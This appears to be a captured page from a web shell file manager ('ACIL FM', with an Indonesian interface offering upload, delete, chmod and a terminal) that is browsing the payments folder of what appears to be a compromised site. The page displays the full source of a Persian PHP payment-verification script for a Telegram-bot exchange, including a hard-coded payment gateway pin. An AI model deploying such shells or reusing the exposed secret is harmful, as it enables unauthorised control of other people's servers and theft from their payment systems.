ACIL FM
Dark
Refresh
Current DIR:
/home/fastexsh/public_html/exchange/payments
/
home
fastexsh
public_html
exchange
payments
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
request.php
1.9 MB
chmod
View
DL
Edit
Rename
Delete
verify.php
5.97 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /home/fastexsh/public_html/exchange/payments/verify.php
<?php include '../config/config.php'; include '../classes/telegram.php'; include '../database/connector.php'; include '../libs/jdf.php'; $bot = new TelegramBot($bot_token); $transactionId = $_POST['transid']; $cardNumber = $_POST['cardnumber']; $status = $_POST['status']; $query = "SELECT * FROM `transactions` WHERE `track_id` = ?"; $stmt = $db->prepare($query); $stmt->execute([$transactionId]); $transactionDetails = $stmt->fetch(PDO::FETCH_OBJ); function verifyPayment($pin, $amount, $transactionId) { $data = [ "pin" => $pin, "amount" => $amount, "transid" => $transactionId ]; $curl = curl_init(); curl_setopt_array($curl, [ CURLOPT_URL => 'https://panel.aqayepardakht.ir/api/v2/verify', CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => '', CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 0, CURLOPT_FOLLOWLOCATION => true, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => 'POST', CURLOPT_POSTFIELDS => json_encode($data), CURLOPT_HTTPHEADER => [ 'Content-Type: application/json', 'Content-Length: ' . strlen(json_encode($data)) ], ]); $response = curl_exec($curl); if ($response === false) { echo '❌ خطای اتصال: ' . curl_error($curl); return null; } curl_close($curl); return json_decode($response); } $verifyResult = verifyPayment('A0A135DCFF4D63EE2F15', $transactionDetails->amount, $transactionId); if ($verifyResult->status == "success") { $bot->sendMessage($transactionDetails->chat_id, "✅ تراکنش شارژ حساب به مبلغ *$transactionDetails->amount* تومان موفقیت آمیز بود."); $query = "UPDATE `users` SET `balance` = `balance` + ? WHERE `chat_id` = ?"; $stmt = $db->prepare($query); $stmt->execute([$transactionDetails->amount, $transactionDetails->chat_id]); $query = "UPDATE `transactions` SET `status` = ?, `updated_at` = ? WHERE `track_id` = ?"; $stmt = $db->prepare($query); $stmt->execute([1, date("Y/m/d H:i:s"), $transactionId]); $query = "SELECT * FROM `settings` WHERE `key_` = ?"; $stmt = $db->prepare($query); $stmt->execute(['pay_gateway_channel']); $channel = $stmt->fetch()->value_ ?? 0; $log_text = "💳 کاربر با شناسه *$transactionDetails->chat_id* حساب خود را به مبلغ *$transactionDetails->amount تومان* شارژ کرد.\n"; $log_text .= "🔑 کد رهگیری پرداخت: *$transactionId*\n"; $log_text .= "⏰ زمان تراکنش: " . jdate("Y/m/d - H:i:s", strtotime(date("Y/m/d H:i:s")), tr_num: 'en') . "\n\n"; $log_text .= "لطفاً جهت پیگیریهای بعدی، این اطلاعات را در نظر بگیرید. ✅"; $bot->sendMessage($channel, $log_text); $query = "SELECT * FROM `affiliates` WHERE `user_id` = ?"; $stmt = $db->prepare($query); $stmt->execute([$transactionDetails->chat_id]); $result = $stmt->fetch(); if ($result->parent_id) { $parent_id = $result->parent_id; $stmt = $db->prepare("SELECT * FROM `settings` WHERE `key_` = ?"); $stmt->execute(['bonus_percent']); $result = $stmt->fetch(); $percent = $result->value_ ?? 0; $calculate = $transactionDetails->amount * ($percent / 100); $query = "UPDATE `users` SET `balance` = `balance` + ? WHERE `chat_id` = ?"; $stmt = $db->prepare($query); $stmt->execute([$calculate, $parent_id]); $bot->sendMessage($parent_id, "مبلغ $calculate تومان هدیه شارژ حساب زیرمجموعه شما به حساب کاربری شما افزوده گردید."); } echo " <!DOCTYPE html> <html lang='fa' dir='rtl'> <head> <meta charset='UTF-8'> <meta name='viewport' content='width=device-width, initial-scale=1.0'> <style> @import url('https://v1.fontapi.ir/css/Vazir'); body { margin: 0; padding: 0; height: 100vh; display: flex; justify-content: center; align-items: center; background-color: #f4f4f4; font-family: 'Vazir', sans-serif; } .success-box { background-color: #28a745; color: white; padding: 20px 40px; border-radius: 10px; font-size: 18px; font-weight: bold; text-align: center; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); } </style> <title>تراکنش موفق</title> </head> <body> <div class='success-box'> تراکنش شما موفق بود! ✅ </div> </body> </html> "; } else { $bot->sendMessage($transactionDetails->chat_id, "❌ تراکنش ناموفق بود"); echo " <!DOCTYPE html> <html lang='fa' dir='rtl'> <head> <meta charset='UTF-8'> <meta name='viewport' content='width=device-width, initial-scale=1.0'> <style> @import url('https://v1.fontapi.ir/css/Vazir'); body { margin: 0; padding: 0; height: 100vh; display: flex; justify-content: center; align-items: center; background-color: #f4f4f4; font-family: 'Vazir', sans-serif; } .error-box { background-color: #dc3545; /* قرمز */ color: white; padding: 20px 40px; border-radius: 10px; font-size: 18px; font-weight: bold; text-align: center; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); } </style> <title>تراکنش ناموفق</title> </head> <body> <div class='error-box'> تراکنش شما ناموفق بود! ❌ </div> </body> </html> "; }
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply